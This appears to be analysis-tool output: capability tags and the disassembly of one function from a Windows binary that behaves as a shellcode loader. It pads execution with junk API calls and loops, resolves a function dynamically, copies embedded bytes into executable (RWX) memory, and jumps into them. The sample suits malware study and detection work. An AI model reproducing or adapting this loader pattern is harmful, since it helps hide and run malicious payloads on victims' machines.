Function at 0x403c33
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call
Get disk size
Set environment variable

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x408
push ebx
push esi
push edi
xor esi, esi
xor edi, edi
call dword [sym.imp.KERNEL32.dll_GetTickCount]
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
cmp edi, 0x207142
jg 0x403c60
inc edi
cmp edi, 0x67d12
jl 0x403c43
cmp dword [0x284dabc], 0x93
jne 0x403d10
push 0x4037d0
call dword [sym.imp.KERNEL32.dll_AddAtomA]
push esi
push esi
push esi
push esi
call dword [sym.imp.GDI32.dll_CreateDCA]
push esi
push esi
push 0x4037f8
push esi
push esi
call dword [sym.imp.USER32.dll_ChangeMenuW]
push esi
push esi
push esi
push esi
call dword [sym.imp.GDI32.dll_CreateDCW]
push esi
call dword [sym.imp.USER32.dll_DrawMenuBar]
xor eax, eax
lock bts dword [eax], 0
push esi
push esi
push esi
call dword [sym.imp.KERNEL32.dll_HeapValidate]
push esi
push esi
push esi
push esi
push esi
push esi
call dword [sym.imp.KERNEL32.dll_CreateFileMappingA]
push esi
push esi
push esi
push 0x4037dc
push 0x403840
push 0x40386c
call dword [sym.imp.KERNEL32.dll_ReplaceFileA]
push esi
push esi
push esi
push esi
call dword [sym.imp.KERNEL32.dll_EnumResourceNamesA]
push esi
push esi
push esi
call dword [sym.imp.KERNEL32.dll_CreateJobSet]
push esi
call fcn.00404264
push esi
push esi
call fcn.00404750
push esi
push esi
call fcn.0040478b
push esi
call fcn.00404bba
push esi
push esi
call fcn.0040422b
add esp, 0x20
mov eax, dword [0x45fc2c]
add dword [0x284dabc], 0x1134b
push 0x403898
mov dword [0x284e8f8], eax
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
push 0x4038a8
push eax
mov dword [0x284d54c], eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push dword [0x284dabc]
mov dword [0x284d540], eax
push esi
call dword [sym.imp.KERNEL32.dll_GlobalAlloc]
lea ecx, [ebp - 8]
push ecx
push 0x40
push dword [0x284dabc]
mov dword [0x284d548], eax
push eax
call dword [0x284d540]
mov edi, 0x1692e
push esi
push esi
call dword [sym.imp.USER32.dll_GetComboBoxInfo]
push esi
lea eax, [ebp - 0x408]
push eax
call dword [sym.imp.USER32.dll_CharUpperBuffA]
call dword [sym.imp.USER32.dll_GetMessageExtraInfo]
push esi
call dword [sym.imp.KERNEL32.dll_SetLastError]
dec edi
jne 0x403d6f
mov ebx, dword [sym.imp.KERNEL32.dll_LoadLibraryW]
cmp dword [0x284dabc], esi
jbe 0x403df5
mov eax, dword [0x284e8f8]
mov al, byte [eax + edi + 0x1134b]
mov ecx, dword [0x284d548]
mov byte [ecx + edi], al
cmp dword [0x284dabc], 0x490
jne 0x403dec
push esi
push esi
push esi
push esi
call dword [sym.imp.KERNEL32.dll_GetDiskFreeSpaceExW]
call dword [sym.imp.KERNEL32.dll_GetConsoleCP]
push esi
call ebx
lea eax, [ebp - 4]
push eax
push esi
push esi
push esi
call dword [sym.imp.KERNEL32.dll_PeekConsoleInputW]
push esi
push esi
call dword [sym.imp.KERNEL32.dll_SetConsoleCtrlHandler]
inc edi
cmp edi, dword [0x284dabc]
jb 0x403da3
xor edi, edi
mov eax, dword [0x284dabc]
add eax, edi
cmp eax, 0x8d
jne 0x403e36
push esi
lea eax, [ebp - 0x408]
push eax
push esi
push 0x4038b8
push esi
push esi
call dword [sym.imp.KERNEL32.dll_LCMapStringA]
push esi
push esi
push esi
push esi
push esi
call dword [sym.imp.USER32.dll_ChangeMenuA]
push 0x4038bc
push 0x4038d4
call dword [sym.imp.KERNEL32.dll_SetEnvironmentVariableA]
inc edi
cmp edi, 0x38681
jl 0x403df7
call fcn.00403b5b
xor edi, edi
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp edi, 0x61
jne 0x403e64
mov dword [ebp - 4], esi
add dword [ebp - 4], 0
mov eax, dword [ebp - 4]
add dword [0x284d548], eax
inc edi
cmp edi, 0x674bd
jl 0x403e46
push 0x7b
pop edi
cmp dword [0x284dabc], 0x86
jne 0x403eac
push esi
push esi
push esi
push esi
push esi
push esi
push 0x403910
call dword [sym.imp.KERNEL32.dll_CreateFileW]
push esi
push esi
call dword [sym.imp.KERNEL32.dll_HeapWalk]
push esi
call dword [sym.imp.KERNEL32.dll_GlobalUnlock]
push esi
push esi
call dword [sym.imp.KERNEL32.dll_GetProcessPriorityBoost]
push esi
push esi
call dword [sym.imp.KERNEL32.dll_IsBadHugeWritePtr]
dec edi
jne 0x403e70
push 0x4038f4
call ebx
call dword [0x284d548]
pop edi
pop esi
pop ebx
leave
ret